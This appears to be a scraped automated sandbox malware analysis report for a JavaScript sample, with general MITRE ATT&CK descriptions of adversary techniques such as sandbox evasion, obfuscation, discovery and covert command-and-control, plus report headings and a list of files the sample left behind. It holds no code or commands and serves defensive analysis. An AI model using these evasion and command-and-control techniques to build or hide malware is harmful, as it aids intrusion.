Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18058273772912511871.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65f92f55-b52c-4f61-b4d0-31dc3a8da7da.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6336

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
18058273772912511871.js